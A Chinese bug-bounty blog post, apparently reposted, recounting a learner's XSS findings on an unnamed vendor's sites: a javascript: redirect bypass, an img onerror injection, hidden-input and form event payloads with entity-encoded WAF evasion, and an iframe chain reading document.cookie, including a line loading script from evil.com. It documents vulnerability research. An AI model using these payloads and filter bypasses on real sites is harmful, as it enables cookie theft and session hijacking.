实战|SRC挖掘初探之随缘XSS挖掘
2023-3-2 08:31:49 Author: 菜鸟学信安(查看原文) 阅读量:24 收藏

最近试着去学挖洞，在测某SRC的一些业务时发现以下几个XSS的点。对于一些请求参数在返回的html中以隐蔽的标签形式出现的XSS，感觉还是挺常见的。这里我写了个Bp的插件用来监听请求并捕获这种情况:SuperTags（https://github.com/Hpd0ger/SuperTags）

下面的案例和讨论如果有什么片面或错误的地方，还望师傅们斧正

某处登陆页面看了眼表单，同时跟进事件绑定的对象utils

直接截出登陆验证部分，redata是响应参数，登陆成功为0。host定义为normal.com。这里发现其实在登陆的时候是可以存在一个cb参数的(但之前我登陆的时候并没有察觉，因为是后台有个功能loginout，点击才会附带cb参数到登录页)

其中,getparam方法如下
getParam: function(c_name) {
    var urlParams = location.href;
    var c_start = urlParams.indexOf(c_name + "=");銆€
    if (c_start != -1) {
        c_start = c_start + c_name.length + 1;銆€
        c_end = urlParams.indexOf("&", c_start);
        if (c_end == -1) {
            c_end = urlParams.length;
        }
        return urlParams.substring(c_start, c_end);
    }else{
        return null;
    }
},
这里开发者还是对cb参数进行了意识形态的过滤，如果cb不包含host则强制重定向首页。但是略鸡肋，直接把host放在注释符后就能绕过。

POC：
cb=javascript:alert(document.cookie);//normal.com

这是该厂商的一个移动端业务，在我测之前已经有表哥X进去了，看一下这个洞是如何产生的。
功能点:提交问题反馈，可以上传问题图片

漏洞逻辑：
上传图片->提交反馈->服务端拼接提交的img参数(uri)为img标签src属性的完整地址
测试上传一个图片后，点击提交反馈并抓包，imglist参数是刚才上传图片返回的uri地址。

POST xxxx?q=index/feedback HTTP/1.1
imglist=%2Cpicture%2F2019%2F02%2F22%2F_a948b4eeaca7420cad9d54fdb0331230.jpg&
问题就出在拼接标签这部分，修改imglist参数就可以闭合Src属性进行xss,使最终的img标签执行onerror事件
步骤：抓包修改img路径->拼接恶意js事件，POC：
imglist=urlencode(" onerror="alert(`XSS�`)">

成功弹窗

在测试某业务的邮箱密码验证时，发现一个包含请求邮箱的页面。

记得之前看过一篇文章，有些服务在发送完邮件后会弹出一个“邮件已发送+email”的页面导致反射型XSS，感觉就是这种了。
随手测试了一下，发现直接waf了空格、双引号、尖括号，和"\"。实体了html编码的尖括号，但是没有实体html编码的双引号。

同时在FUZZ的期间多次出现参数错误的请求，发现可能是应用层做了些过滤：
  1. email字符串长度<40且@结尾
  2. 不能同时出现两个双引号、括号
  3. 正则alert(1)\prompt(1)\confim...
不过只要脱离引号就好说，毕竟有很多JS事件可以调。一开始把眼光放在了input标签上测试了一些on事件，发现type是hidden，一些可视on事件都没用的。记得之前看过一个input hidden xss的一个用法是按alt+shift+x触发，poc如下
urlencode(email=&#34/accesskey=&#34X&#34/onclick=&#34alert&#40'xss'&#41&#[email protected])

但是这个poc很鸡肋。因为要打出cookie的话长度受限，且利用条件苛刻(firefox+按键)
回头看了下发现有form标签也有输出点，最初以为form能执行的JS事件就只有reset和submit，后来测试跑onmounseover也能弹框。
encodeurl(email=&#34/onmouseover=&#34alert&#40document.cookie&#41&#[email protected])

在测试某业务时发现一个有趣的参数拼接点：
iframe的src拼接url参数+后端给定的第三方host->iframe加载src
测试了一下特殊字符都给实体化了，但是又舍不得一个iframe

经过一番寻找，发现第三方服务的登陆点存在JS跳转漏洞，用iframe加载这个第三方服务的dom-xss也能造成弹框效果

虽然是在SRC业务站点弹的框，但真正的域应该是子页面的。打印一下COOKIE验证，果然是子页面域的cookie。由于waf掉了document.cookie和javascript:alert，我用了html编码的':'和八进制js编码的'.'绕过，完整打印子页面域payload如下
https://src.com?url=redirect_uri%3Djavascript%26%23x3A%3Bconsole.log(document\56cookie)
在进一步的探索中，我做了两个尝试：
1. 尝试跳一个外域的JS，看能不能把src属性转到这个js
https://src.com?url=redirect_uri%3Dhttps://evil.com/xss.js
但是会把资源解析到子页面的document里，而不是src的改变

2. iframe是否能调用父页面的事件呢(document)？如果可以的话我们就直接调js uri把cookie打出去。之所以有这个想法是因为，当时寻思既然站点调用这个三方服务了，很大可能性这个三方站是iframe-src白名单。不过测试后发现依然被跨域限制，测试payload

https://src.com?url=redirect_uri%3Djavascript%26%23x3A%3Bconsole.log(window.parent.document\56cookie)

对跨域姿势了解的不多，如果有兴趣的师傅，可以一起来交流一下这种问题
从打ctf到学着去挖洞，还是有一些思维出入的地方，慢慢理解之前师傅们说的资产收集的重要性。
也特别感谢引路人鬼麦子师傅给予的帮助，这里顺便推荐麦子师傅基于爬虫的一款开源子域名监控工具get_domain，在搭建过程中如果遇到环境配置问题，可以参考这篇Ubuntu16.04-Get_domain搭建手册
作者：hpdoger，来源：先知社区

文章来源: http://mp.weixin.qq.com/s?__biz=MzU2NzY5MzI5Ng==&mid=2247495426&idx=1&sn=7938a8c66f61953891eaeac7a672bd71&chksm=fc9bf59dcbec7c8b8bdd0e79d1fdc3b9b76df51a0a8145974c75af9aa2afd4139598cbe1e752#rd
如有侵权请联系:admin#unsafe.sh